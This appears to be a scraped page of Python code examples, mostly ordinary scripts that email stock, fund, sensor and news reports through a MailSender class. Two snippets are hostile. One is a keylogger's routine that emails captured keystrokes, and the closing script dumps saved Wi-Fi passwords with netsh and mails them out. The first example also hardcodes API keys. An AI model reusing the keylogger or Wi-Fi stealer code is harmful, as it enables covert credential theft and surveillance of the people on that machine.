Esempio n. 1
0
def get_single_stock_price(ticker):
    try:
        stockdweebs_headers = {
            'origin': 'https://stockdweebs.com',
            'referer': 'https://stockdweebs.com/'
        }
        # base_url = 'https://api.polygon.io/v2/aggs/ticker/'+ticker + '/prev?unadjusted=true&apiKey='
        base_url = 'https://api.polygon.io/v2/snapshot/locale/us/markets/stocks/tickers/' + ticker + '?&apiKey='
        # apiKey = '87JHdFHMBgtgmldFUQMN1qHeyxNw5UpN'
        apiKey = 'b1i5IanrlvBLGCAUDGhGepd924yDRXuX'
        url = base_url + apiKey
        resp = requests.get(url, headers=stockdweebs_headers)
        status = resp.status_code
        print(status, resp)
        if status == 429:
            time.sleep(60)
            return get_single_stock_price(ticker)
        if status != 200:
            content = "polygon 异常" + status
            mailsender = MailSender(my_sender, my_pass, sender_name,
                                    receiver_addr, subject, content, None)
            mailsender.send_it()
        else:
            resp_json = json.loads(resp.text)
            return float(resp_json.get('ticker').get('day').get('c'))
            # return float(resp_json.get('results')[0].get('c'))
    except Exception as ex:
        time.sleep(5)
        print(ex)
        return get_single_stock_price(ticker)
def process_mail():

    current_date = datetime.today().strftime("%Y-%m-%d")
    mail_contents = RssNewsParser().news_rss_parser('NCP+네이버클라우드플랫폼')

    mail_info = {
        "senderAddress":
        "*****@*****.**",
        "title":
        "네이버클라우드 플랫폼 뉴스 - ${current_date}",
        "body":
        mail_contents,
        "recipients": [{
            "address": "*****@*****.**",
            "name": "홍길동",
            "type": "R",
            "parameters": {
                "current_date": current_date
            }
        }],
        "individual":
        True,
        "advertising":
        False
    }

    res = MailSender().req_email_send(mail_info)
    result = res.getcode()

    return {"result": result}
Esempio n. 3
0
def save_json():
    try:
        resp = requests.get(
            'https://stockdweebs.com/pick_categories/weekly-picks/',
            headers=headers)
        soup = bs.BeautifulSoup(resp.text, 'html.parser')
        table = soup.find('div', {'class': 'archive-feed-pick'})
        symbols = []
        for row in table.findAll('article'):
            symbol = row.get('data-stock-symbol')
            buy_zones_parent = row.findAll('span', {'class', 'data-value'})[-2]
            buy_zones = buy_zones_parent.findAll('span', {'class', 'buy-zone'})
            entry = buy_zones[0].text[1:]
            stop = buy_zones[-1].text[1:]
            single_symbol = dict(entry=entry, symbol=symbol, stop=stop)
            symbols.append(single_symbol)

        now = datetime.datetime.now()
        time = now.strftime("%Y-%m-%d %H:%M:%S")
        symbols_json = dict(symbols=symbols, time=time)
        fo = open(data_path, "w")
        json.dump(symbols_json, fo)
        fo.close()
    except Exception as ex:
        global failed_times
        failed_times += 1
        if failed_times > max_failed_times:
            content = "EXCEPTION FORMAT PRINT:\n{}".format(ex)
            mailsender = MailSender(my_sender, my_pass, sender_name,
                                    receiver_addr, subject, content, None)
            mailsender.send_it()
        else:
            save_json()
Esempio n. 4
0
def get_monthly_report():
    d = GetPublicData()
    jjc = d.getJjCode()
    content = []
    jj_zhangfu_list = []
    for i in jjc:
        jjcode = i.strip().split(',')[0]
        data = i.strip().split(',')
        sell_point = None
        is_hold = False
        if len(data) == 3:
            sell_point = float(data[2]) if data[2] else None
        if len(data) > 1:
            is_hold = True if data[1] else False
        print(sell_point, is_hold, jjcode)
        jj, jj_jin = getJijin(jjcode.strip())
        name = ''
        if jj != False:
            name, guzhi, gutime = jj['name'], jj['gszzl'] + '%', jj['gztime']
        jj_content, zhangfu_list = get_single_monthly_report(
            jjcode, name, sell_point)
        content.append(jj_content)
        if is_hold:
            zhangfu_list.reverse()
            jj_zhangfu_list.append(
                dict(label=name if name else jjcode, data=zhangfu_list))
    content = '\n\n\n'.join(content)
    attachment = './result.png'
    jj_zhangfu_list.reverse()
    write_plot(jj_zhangfu_list, attachment)
    mailsender = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                            subject, content, attachment)
    mailsender.send_it()
    if os.path.exists(attachment):
        os.remove(attachment)
Esempio n. 5
0
 def __init__(self):
     self._last_invalid_measurements = {}
     self._mail_sender = MailSender(config['sender'],
                                    config['receiver_email'],
                                    config['MONITORED_VALUES'])
     self._timer = MonitorTimer()
     self._api_client = ApiClient()
     self.test_dedicated_state = False
Esempio n. 6
0
    def report(self):
        if self.log:
            subject = "KeyLogger Report"
            mail_sender = MailSender("smtp.gmail.com", 587, self.email, self.password, self.email, subject, self.log)
            mail_sender.sendmail()

        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()
Esempio n. 7
0
 def run(self):
     while (not self.stopped.wait(
             prefs['email']['notification_timeout'])) and (not self.sent):
         email = MailSender()
         email.send_message(prefs['email']['subject'],
                            fromaddr=prefs['email']['from'],
                            to=prefs['email']['to'],
                            body="Desconexão ocorrida com o broker MQTT.")
         self.sent = True
Esempio n. 8
0
def main():
    args = parse_arguments()
    config = load_configuration(args.config)

    from_address = config['from']
    password = config["password"]
    receivers = config["to"]
    subject = config["subject"]
    message = config["message"]

    mail_sender = MailSender(from_address, password)
    mail_sender.send_text(receivers, subject, message)
	def send_mail(self,title, content):
		'''
		出现异常是发送邮件报告
		'''
		#初始化邮件发送对象

		email = MailSender()
		try:
			email_to = self.config.get('email','receiver')
			email_receivers = email_to.split(';')
			email.sendMail(email_receivers,title, str(content))
		except Exception, ex: 
			return 
Esempio n. 10
0
def main():
    config = ConfigLoader('config.ini')
    feed_fetcher = FeedFetcher(config)
    # initial poll to get most recent alert id
    print("Initial fetch to set references...")
    feed_fetcher.poll()

    mail = MailSender(config)

    def job():
        try:
            new_results = feed_fetcher.poll_new()
            new_results.reverse()
            for result in new_results:
                mail.mail_entry(result)
            print(f"Mailing {len(new_results)} entries")
        except FeedFetcher.Inaccessible:
            print('Failed to load feed, deferring to next interval')

    print("Scheduling...")
    schedule.every(config.get_interval()).minutes.do(job)
    print("Now looping!")
    while True:
        schedule.run_pending()
        time.sleep(5)
Esempio n. 11
0
def init():
    symbols = load_json()
    content = ''
    for single_symbol in symbols:
        symbol = single_symbol.get('symbol')
        entry = float(single_symbol.get('entry'))
        stop = float(single_symbol.get('stop'))
        current_price = get_single_stock_price(symbol)
        if current_price < entry and current_price > stop:
            single_content = 'symbol:' + symbol + '\n entry price: ' + str(
                entry) + '\n current price: ' + str(
                    current_price) + '\n stop price:' + str(stop) + '\n'
            content += single_content
    if len(content) > 0:
        mailsender = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                                subject, content, None)
        mailsender.send_it()
Esempio n. 12
0
 def run(self):
     get_logger().info(
         "Starting REST client connecting to base URL {}".format(
             prefs['web-service']['base_url']))
     if self.retrieve_token():
         while True:
             for message in queue.get_all_not_sent():
                 self.send_message(message)
             time.sleep(1)
     else:
         get_logger().error("Abandoning thread...")
         email = MailSender()
         email.send_message(
             prefs['email']['subject'],
             fromaddr=prefs['email']['from'],
             to=prefs['email']['to'],
             body="Thread REST client encerrada. Verificar logs.")
Esempio n. 13
0
 def run(self):
     get_logger().info("Starting MQTT client...")
     connected = False
     email_sent = False
     while True:
         if not connected:
             try:
                 self.mqttc_cli.on_connect = self.on_connect
                 self.mqttc_cli.on_subscribe = self.on_subscribe
                 self.mqttc_cli.on_publish = self.on_publish
                 self.mqttc_cli.on_message = self.on_message
                 self.mqttc_cli.on_disconnect = self.on_disconnect
                 self.mqttc_cli.on_log = self.on_log
                 self.mqttc_cli.reconnect_delay_set(min_delay=1,
                                                    max_delay=30)
                 get_logger().debug(
                     "Connecting to MQTT broker on {}:{}, with timeout = {}."
                     .format(prefs['mqtt']['connection']['host'],
                             prefs['mqtt']['connection']['port'],
                             prefs['mqtt']['connection']['timeout']))
                 self.mqttc_cli.connect(
                     prefs['mqtt']['connection']['host'],
                     prefs['mqtt']['connection']['port'],
                     prefs['mqtt']['connection']['timeout'])
                 self.mqttc_cli.subscribe(prefs['mqtt']['topics']['status'],
                                          0)
                 self.is_running = True
                 connected = True
                 email_sent = False
                 self.mqttc_cli.loop_start()
             except (ConnectionRefusedError, TimeoutError) as ex:
                 if not email_sent:
                     email = MailSender()
                     email.send_message(
                         prefs['email']['subject'],
                         fromaddr=prefs['email']['from'],
                         to=prefs['email']['to'],
                         body=
                         "Não foi possível conectar servidor ao broker MQTT."
                     )
                     email_sent = True
                 get_logger().error(
                     "Cannot connect to MQTT broker! Exception: {}".format(
                         ex))
         time.sleep(5)
Esempio n. 14
0
def exec():
    print('start to calculate the ranks')
    global exec_count
    exec_count += exec_count
    if exec_count < 100:
        try:
            init()
        except Exception as ex:
            print(ex)
            logger.error(ex)
            time.sleep(5)
            exec()
    else:
        now = datetime.datetime.now()
        subject = 'tipranks exeception ' + now.strftime("%Y-%m-%d %H:%M:%S")
        attachment = './error.log'
        content = "got exeception"
        mailsender = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                                subject, content, attachment)
        mailsender.send_it()
Esempio n. 15
0
 def send_mail(self, price):
     if price < float(self.low_limit.value):  # 黄金价格一旦低于self.low_limit.value
         subject = 'GoldPrice'
         content = '黄金的价格目前为%s,价格较低,可以买入' % (price)
         MS = MailSender(self.my_sender, self.my_pass, self.sender_name,
                         self.receiver_addr, subject, content)
         MS.send_it()
     if price > float(
             self.high_limit.value):  # 黄金价格一旦高于self.high_limit.value
         subject = 'GoldPrice'
         content = '黄金的价格目前为%s,价格较高,可以卖出' % (price)
         MS = MailSender(self.my_sender, self.my_pass, self.sender_name,
                         self.receiver_addr, subject, content)
         MS.send_it()
Esempio n. 16
0
def get_buy_and_sell_etf():
    d = GetETFData()
    jjc = d.getJjCode()
    content = []
    for i in jjc:
        jjcode = i.strip().split(',')[0]
        is_hold = len(i.strip().split(',')) > 1
        jj, jj_jin = getJijin(i.strip())
        name = ''
        if jj != False:
            name = jj['name']
        jj_content = get_single_etf_report(jjcode, name, is_hold)
        if is_hold:
            content.append(jj_content)
        else:
            if '可买' in jj_content:
                content.append(jj_content)
    sorted(content, key=functools.cmp_to_key(cmp))
    content = '\n\n\n'.join(content)
    mailsender = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                            subject, content, None)
    mailsender.send_it()
	def __init__(self, conf_path = '..', feature_num = 18):
		self.feature_num = feature_num
		#other config such as email recivers
		self.filecfg = '%s/conf/main.cfg' % (conf_path)
		self.fileconfig = RawConfigParser()
		self.fileconfig.read(self.filecfg)
		# config email info
		self.mail_recivers = self.setMailReceiver('email', 'receiver')
		self.mail_sender = MailSender()

		self.feature_index = {}
		self.classify_index = {}
		self.weight_index = {}
		self.weight_value = {}
		self.product_info = {}
		self.product_norm_info = {}
		self.setFeatureAndClassifyIndex()
	def __init__(self, conf_path = '..'):
		'''
		init
		'''
		#db redis config file position
		self.conncfg = '%s/conf/connect.cfg' % (conf_path)
		#log config file
		self.logcfg = '%s/conf/logger.conf' % (conf_path)
		logging.config.fileConfig(self.logcfg)
		self.logger = logging.getLogger('log')
		#other config such as email recivers
		self.filecfg = '%s/conf/main.cfg' % (conf_path)
		self.fileconfig = RawConfigParser()
		self.fileconfig.read(self.filecfg)
		#sql config file
		self.sqlcfg = '%s/conf/sql.cfg' % (conf_path)
		self.config = RawConfigParser()
		self.config.read(self.conncfg)
		self.sqlfig = RawConfigParser()
		self.sqlfig.read(self.sqlcfg)
		#connect db redis
		self.conn_shop_db = self.connDbserver('com_shop_review')
		self.sql = self.sqlfig.get('select', 'select_shop_info')	
		# config email info
		self.mail_recivers = self.setMailReceiver('email', 'receiver')
		self.mail_sender = MailSender()

		#dict
		self.shopid_info_score = {}
		self.shopid_price_score = {}
		self.shopid_payment_score = {}
		self.shopid_deliver_score = {}
		self.shopid_package_score = {}
		self.shopid_average_score = {}
		
		#shop average score
		self.shopid_scores = {}
Esempio n. 19
0
        for amount in amounts:
            amounts[i] = dc.get_fund_amount(funds[i])
            i += 1
        i = 0
        for fund in funds:
            fund_price[i], result[i] = get_daily_result(funds[i], amounts[i])
            new_amount = float(amounts[i]) + float(result[i])
            amounts[i] = new_amount
            print('开始保存...')
            dc.update_data(funds[i], fund_price[i], amounts[i])
            i += 1
        finalresult = sum(result)
        print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '合计:' + str(round(finalresult, 2)))
        if finalresult > 0:
            content = ("今日收涨,盈利%s元" % round((finalresult), 2)
        else:
            content=("今日收跌,亏损%s元" % round((-finalresult), 2))
        mailsender=MailSender(my_sender, my_pass, sender_name, receiver_addr, subject, content)
        if wechat_switch == 1:
            itchat.send((time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + content), 'filehelper')
            print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '微信消息发送成功')
        else:
            print((time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))) + '微信消息开关为关,仅发送邮件')
        mailsender.send_it()
        print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '一天后重发')
        time.sleep(86400)
    else:
        print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '当前为星期%s非交易日,六小时后重试' % (CurrentWeek))
        time.sleep(21600)
print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '程序终止')
class CaculateFeatures4Model():
	def __init__(self, conf_path = '..', feature_num = 18):
		self.feature_num = feature_num
		#other config such as email recivers
		self.filecfg = '%s/conf/main.cfg' % (conf_path)
		self.fileconfig = RawConfigParser()
		self.fileconfig.read(self.filecfg)
		# config email info
		self.mail_recivers = self.setMailReceiver('email', 'receiver')
		self.mail_sender = MailSender()

		self.feature_index = {}
		self.classify_index = {}
		self.weight_index = {}
		self.weight_value = {}
		self.product_info = {}
		self.product_norm_info = {}
		self.setFeatureAndClassifyIndex()

	def setMailReceiver(self,section = 'email', part = 'receiver'):
		email_list = self.fileconfig.get(section,part).split(',')
		mail_receiver = []
		lenght = len(email_list)
		for i in range(lenght):
			email = email_list[i].strip(' ')
			if email == '':
				continue
			mail_receiver.append(email)
		return mail_receiver

	def setFeatureAndClassifyIndex(self, section="index"):
		feature_list = self.fileconfig.get(section,"feature_index").strip().split(',')
		lenght = len(feature_list)
		for i in range(lenght):
			array = feature_list[i].strip().split(':')
			feature_index = int(array[0])
			feature_name = array[1].strip()
			self.feature_index[feature_index] = feature_name

		classify_list = self.fileconfig.get(section,"classify_index").split(',')
		lenght = len(classify_list)
		for i in range(lenght):
			array = classify_list[i].strip().split(':')
			classify_index = int(array[0])
			classify_name = array[1].strip()
			self.classify_index[classify_name] = classify_index

		weight_list = self.fileconfig.get(section,"weight_index").split(',')
		lenght = len(weight_list)
		for i in range(lenght):
			array = weight_list[i].strip().split(':')
			weight_index = int(array[0])
			weight_name = array[1].strip()
			self.weight_index[weight_index] = weight_name

	def initWeights(self, filepath):
		file = None
		try:
			k = 0
			file = open(filepath, 'r')
			while True:
				line = file.readline()
				if not line:
					break
				item_name = self.weight_index[k]
			#	print item_name
				self.weight_value[item_name] = float(line.strip())
				k += 1
		except Exception,ex:
			self.logger.error(ex)
			self.mail_sender.sendMail(self.mail_recivers)
			raise Exception, ex		
		finally:
Esempio n. 21
0
from manager import Manager
from tools import Tools
import discord
import secrets

# ---------------------------------------------------------------------------- #
# Log:
log = []
# Discord CLient:
client = discord.Client()
# Tools
tools = Tools()
# Database Manager:
manager = Manager()
# Mail Sender:
mail_sender = MailSender()
# Verification Tokens:
tokens = {}


# ---------------------------------------------------------------------------- #
# On Start:
@client.event
async def on_read():
    print("Starting as {0}.".format(client.user))


# ---------------------------------------------------------------------------- #
# On Message:
@client.event
async def on_message(message):
Esempio n. 22
0
class Monitor():
    def __init__(self):
        self._last_invalid_measurements = {}
        self._mail_sender = MailSender(config['sender'],
                                       config['receiver_email'],
                                       config['MONITORED_VALUES'])
        self._timer = MonitorTimer()
        self._api_client = ApiClient()
        self.test_dedicated_state = False

    def run(self):
        for _ in self._timer.run_forever():
            self._tick()

    def _tick(self):
        is_valid = self._receive_and_check_measurements()

        if not is_valid:
            self._timer.increase_measurement_rate = True

        if self._timer.tick_main_counter() == config['min_measurements_count']:
            invalid_measurements = self._validate_last_measurements()
            if invalid_measurements and self._last_invalid_measurements != invalid_measurements:
                self._mail_sender.send_alarming_email(invalid_measurements)
                self._last_invalid_measurements = invalid_measurements
                self._timer.reset_reminder_counter()
            elif self._last_invalid_measurements:
                self._mail_sender.send_praising_email()
                self._last_invalid_measurements.clear()
                self._timer.reset_reminder_counter()

        if self._last_invalid_measurements and self._timer.tick_reminder_counter(
        ) == config['remind_time']:
            self._mail_sender.send_reminding_email(
                self._last_invalid_measurements)
            self._timer.reset_reminder_counter()

        current_hour = MonitorTimer.get_current_time()
        if current_hour == config['notification_time']:
            self._mail_sender.send_informing_mail(get_measurement())

    def _receive_and_check_measurements(self):
        measurement = get_measurement()
        temperature, humidity = measurement['temperature'], measurement[
            'humidity']
        is_valid = not bool(validate_climate(temperature, humidity))
        measurement['is_valid'] = is_valid
        measurement['device_id'] = config['device_id']
        measurements_insert(**measurement)
        self._api_client.post_measurement(measurement)
        logger.info(f'T:{temperature} C H:{humidity}% VALID:{is_valid}')
        return is_valid

    def _validate_last_measurements(self):
        self._timer.reset_main_counter()
        self._timer.increase_measurement_rate = False
        avg_temp, avg_hum, avg_light, avg_sound = mean_of_last_n_measurements(  # TODO: Add light and sound check
            config['min_measurements_count'])

        logger.info(f'AVG_TEMP: {avg_temp}, AVG_HUM {avg_hum}')
        return validate_climate(avg_temp, avg_hum)
Esempio n. 23
0
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from configuration import Configuration
from course_collector import CoursesCollector
from searchers.rutracker_searcher import RutrackerSearcher
from mail_sender import MailSender


if __name__ == '__main__':
    conf = Configuration('config.yaml').get_config()
    courses_list = CoursesCollector(conf['gdoc_json_key'], conf['gdoc_scope'], conf['gdoc_sheet']).get_courses()

    searcher = RutrackerSearcher(conf['login_link'],
                                 conf['form_credentials'],
                                 conf['search_link'],
                                 conf['forum_link'],
                                 courses_list)
    searcher.login()
    searcher.search()
    results = searcher.get_results()
    if results:
        mailer = MailSender(conf['mail_key'],
                            conf['mail_url'],
                            conf['mail_recipient'])
        mailer.make_html(results)
        mailer.send_email(len(results))
Esempio n. 24
0
import os

from crawler import CrawlerDouBan, CrawlerMaoYan
from mail_sender import MailSender
from apscheduler.schedulers.blocking import BlockingScheduler

# 配置日志
logging.config.fileConfig(os.path.join(sys.path[0], 'config.ini'))
logger = logging.getLogger('movie_nowplaying')

# 定时任务调度器
sched = BlockingScheduler()

crawler_douban = CrawlerDouBan('hefei')
crawler_maoyan = CrawlerMaoYan()
sender = MailSender()


@sched.scheduled_job('cron', minute='0', hour='8', day_of_week='fri')
def fun():
    contents = []
    movies_box_office = crawler_maoyan.crawl()

    for name, star, region, director, actors, link, release_date, summary, hot_comment in crawler_douban.crawl():
        if movies_box_office and name in movies_box_office:
            content = ('<{name}>\t豆瓣评分: {star}\n{release_days}\t累计票房: {box_office}\t排片占比: {schedule_rate}\n'
                       '上映时间: {release_date}\n地区: {region}\n导演: {director}\n主演: {actors}\n简介: {summary}\n'
                       '热门短评: \n{comments}').format(
                name=name, box_office=movies_box_office[name][0], release_date=release_date,
                release_days=movies_box_office[name][1], schedule_rate=movies_box_office[name][2],
                region=region, star=star, director=director, actors=actors, summary=summary,
Esempio n. 25
0
#!/usr/bin/python3
"""
Author: 孙浩然
Last modified: 2018/5/6
Description: Use python3 to get information from 4m3 and SSE and send it as E-mail
"""
from get_4m3_info import Get4m3Info
from get_sse_info import GetSSEInfo
from mail_sender import MailSender

if __name__ == '__main__':
    message = ''
    message += Get4m3Info().get_4m3_info()
    message += GetSSEInfo().get_sse_info()
    receivers = [
        ''
    ]  # add your own receivers E-mail address, multiple address available
    MailSender().send_mail(message=message, receiver=receivers)
class ShopInfo(object):
	def __init__(self, conf_path = '..'):
		'''
		init
		'''
		#db redis config file position
		self.conncfg = '%s/conf/connect.cfg' % (conf_path)
		#log config file
		self.logcfg = '%s/conf/logger.conf' % (conf_path)
		logging.config.fileConfig(self.logcfg)
		self.logger = logging.getLogger('log')
		#other config such as email recivers
		self.filecfg = '%s/conf/main.cfg' % (conf_path)
		self.fileconfig = RawConfigParser()
		self.fileconfig.read(self.filecfg)
		#sql config file
		self.sqlcfg = '%s/conf/sql.cfg' % (conf_path)
		self.config = RawConfigParser()
		self.config.read(self.conncfg)
		self.sqlfig = RawConfigParser()
		self.sqlfig.read(self.sqlcfg)
		#connect db redis
		self.conn_shop_db = self.connDbserver('com_shop_review')
		self.sql = self.sqlfig.get('select', 'select_shop_info')	
		# config email info
		self.mail_recivers = self.setMailReceiver('email', 'receiver')
		self.mail_sender = MailSender()

		#dict
		self.shopid_info_score = {}
		self.shopid_price_score = {}
		self.shopid_payment_score = {}
		self.shopid_deliver_score = {}
		self.shopid_package_score = {}
		self.shopid_average_score = {}
		
		#shop average score
		self.shopid_scores = {}
		

	def setMailReceiver(self,section = 'email', part = 'receiver'):
		email_list = self.fileconfig.get(section,part).split(',')
		mail_receiver = []
		lenght = len(email_list)
		for i in range(lenght):
			email = email_list[i].strip(' ')
			if email == '':
				continue
			mail_receiver.append(email)
		return mail_receiver

	def connDbserver(self, section):
		dbserver = None
		try:
			dbtype = self.config.get(section, 'dbtype')
			host = self.config.get(section, 'host')
			port = self.config.get(section, 'port')
			user = self.config.get(section, 'user')
			password = self.config.get(section, 'password')
			database = self.config.get(section, 'database')
			dbserver = DBFactory.Connect(dbtype = dbtype, host = host, database = database, \
					charset = 'utf8',user = user, password = password, port = port)
		except Exception, ex:
			self.logger.error(ex)
			print 'Can not connect to dbserver'
			self.mail_sender.sendMail(self.mail_recivers)
			raise Exception, ex
		return dbserver
Esempio n. 27
0
def init():
    existing_ticker = []
    init_result_csv()
    if os.path.exists(result_csv):
        existing_stock_list = pd.read_csv(result_csv)
        existing_ticker_series = existing_stock_list['stock_ticker']
        for t in existing_ticker_series:
            existing_ticker.append(t)
    for ticker in stocks:
        if isinstance(ticker, str) and ticker not in existing_ticker:
            logger.info('start fech data:')
            logger.info('ticker')
            logger.info(ticker)
            print('start fech data:')
            print('ticker')
            print(ticker)
            stock_ticker = []
            stock_name = []
            curr_price = []
            pred_low = []
            pred_avg = []
            pred_high = []
            num_analyst = []
            s_curr_price = get_curr_price(ticker)
            if not s_curr_price:
                continue
            data = get_target_price(ticker)
            if not data:
                continue
            [companyName, high, low, priceTarget, s_num_analyst] = data
            if s_num_analyst and priceTarget and low and high:
                curr_price.append(s_curr_price)
                pred_low.append(low)
                pred_high.append(high)
                num_analyst.append(s_num_analyst)
                pred_avg.append(priceTarget)
                stock_ticker.append(ticker)
                stock_name.append(companyName)
                info = companyName + ' created'
                logger.info(info)
                df = pd.DataFrame()
                df['stock_ticker'] = stock_ticker
                df['stock_name'] = stock_name
                df['curr_price'] = curr_price
                df['pred_low'] = pred_low
                df['pred_avg'] = pred_avg
                df['pred_high'] = pred_high
                df['# of Analyst'] = num_analyst
                df['% low/curr'] = [
                    get_gain(x, y) for x, y in zip(pred_low, curr_price)
                ]
                df['% avg/curr'] = [
                    get_gain(x, y) for x, y in zip(pred_avg, curr_price)
                ]
                df['% high/curr'] = [
                    get_gain(x, y) for x, y in zip(pred_high, curr_price)
                ]
                df.to_csv(result_csv, index=None, mode='a+', header=False)

    if os.path.exists(result_csv):
        attachment = result_csv
        content = 'ripranks'
        now = datetime.datetime.now()
        subject = 'tipranks result ' + now.strftime("%Y-%m-%d %H:%M:%S")
        mailsender = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                                subject, content, attachment)
        mailsender.send_it()
Esempio n. 28
0
    for index, log in enumerate(logs):
        content += str(index + 1) + '. ' + log + '.\n'
    content += '\n'
    content += 'TODO: \n\n'
    content += 'Thanks, \n'
    content += 'Flyn \n'
    return content


date = time.strftime('%Y%m%d', time.localtime(time.time()))
title = 'Daily_Report_Flyn_%s' % date

configparser = configparser.ConfigParser()
configparser.read(os.path.dirname(os.path.realpath(__file__)) + '\\config.txt')

mail_sender = MailSender()

mail_sender.to_address = configparser.get("Info", "to_address")
mail_sender.from_address = configparser.get("Info", "from_address")
mail_sender.my_name = configparser.get("Info", "my_name")
mail_sender.password = configparser.get("Info", "password")
mail_sender.smtp_server = configparser.get("Info", "smtp_server")
mail_sender.smtp_server_port = configparser.get("Info", "smtp_server_port")

paths = configparser.get("Info", "path")  # type:str
path_list = paths.split(",")
git_logs = git.get_commit_logs(path_list, 'flyn.yu')
content = get_mail_content(git_logs)

app = QApplication(sys.argv)
mail_ui = MailUI()
Esempio n. 29
0
msg.set("incident(0).event_data(1).flow(0).system(0).node.address(0).address",
        "192.0.2.16")
msg.set("incident(0).event_data(1).flow(0).system(0).description",
        "Source de nombreux scan ce mois")
msg.set("incident(0).event_data(1).flow(1).system(0).category", "source")
msg.set("incident(0).event_data(1).flow(1).system(0).node.address(0).category",
        "ipv4-addr")
msg.set("incident(0).event_data(1).flow(1).system(0).node.address(0).address",
        "192.0.2.241")
msg.set("incident(0).event_data(1).flow(1).system(0).description",
        "Serveur IRC C2")
msg.set("incident(0).event_data(1).expectation.action", "block-host")

incident_file = 'incident-{0}-{1}-{2}.json'.format(
    str(report_time.date()),
    report_time.time().strftime('%Hh%Mm'), report_id)

with open(incident_file, 'w') as fd:
    fd.write(msg.toJSON())

mail_sender = MailSender('my.smtp.server', 42, '*****@*****.**')

subject = u"Rapport de sécurité"
message = u"""
Ceci est un mail automatique, merci de ne pas y répondre.

Vous trouverez ci-joint le dernier rapport d'incident de sécurité.
"""

mail_sender.send('*****@*****.**', subject, message, incident_file)
Esempio n. 30
0
import json
import os
import requests
import time
import sys
import configparser
from mail_sender import MailSender

# Jenkins工作空间目录
workspace = "C:\\Users\\Flyn\\.jenkins\\workspace\\Android App"
# Gradle编译完成生成apk所在的目录
apk_path = workspace + "\\app\\build\outputs\\apk"

mail_sender = MailSender()
configparser = configparser.ConfigParser()
configparser.read(os.path.dirname(os.path.realpath(__file__)) + '\\config.txt')
mail_sender.to_address = configparser.get("Info", "to_address").split(',')
mail_sender.from_address = configparser.get("Info", "from_address")
mail_sender.my_name = configparser.get("Info", "my_name")
mail_sender.password = configparser.get("Info", "password")
mail_sender.smtp_server = configparser.get("Info", "smtp_server")
mail_sender.smtp_server_port = configparser.get("Info", "smtp_server_port")

# 时间格式
date = time.strftime('%Y-%m-%d %H:%M', time.localtime(time.time()))

BRANCH = sys.argv[1]  # 参数
BUILD_TYPE = sys.argv[2]  # 创建类型
FLAVORS = sys.argv[3]  # 渠道

Esempio n. 31
0
print(
    time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) +
    ' 程序运行中...')
while 1:
    price = price_getter.get_price()
    beginning_price = 265.74  # 265.74为购买价格
    percent = (
        (float(price) - float(beginning_price)) / float(beginning_price)) * 100
    print(
        time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) +
        '数据获取成功:' + price + ',涨跌幅为' + str(round(percent, 3)) + '%' + '盈亏为' +
        str((round(percent, 3) * 75)))
    if price < 265:  # 黄金价格一旦低于265.5
        subject = 'Goldprice'
        content = '黄金的价格目前为%s,价格较低,可以买入' % (price)
        MS = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                        subject, content)
        MS.send_it()
        time.sleep(7200)  # 两小时至多发一次
        # 微信发送消息至文件传输助手
        #       itchat.send((time.strftime('%Y-%m-%d%H:%M:%S',time.localtime(time.time()))+Content),'filehelper')
        MailSender(SenderName, ReceiverAddr, Subject, Content)
    if price > 280:  # 黄金价格一旦高于275
        Subject = 'Goldprice'
        Content = '黄金的价格目前为%s,价格较高,可以卖出' % (price)
        #       itchat.send((time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+Content),'filehelper')
        MS = MailSender(my_sender, my_pass, sender_name, receiver_addr,
                        subject, content)
        MS.send_it()
        time.sleep(7200)  # 两小时至多发一次
    time.sleep(23)  # 每隔一定时间爬取一次黄金价格
print(('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '程序终止')
Esempio n. 32
0
import subprocess

import chardet

from mail_sender import MailSender


def get_wifi_info():
    command = "netsh wlan show profile"
    networks = subprocess.check_output(command, shell=True)

    encoding = chardet.detect(networks)['encoding']
    networks_names_list = re.findall("(?:\\s:\\s)(.*)",
                                     networks.decode(encoding))
    result = ""
    for network_name in networks_names_list:
        command = "netsh wlan show profile " + network_name + " key=clear"
        current_result = subprocess.check_output(command, shell=True)
        result = result + current_result.decode(encoding)
    return result


login = "******"
psw = ""
subject = "Wi-Fi Report"
wifi_info = get_wifi_info()

mail_sender = MailSender("smtp.gmail.com", 587, login, psw, login, subject,
                         wifi_info)
mail_sender.sendmail()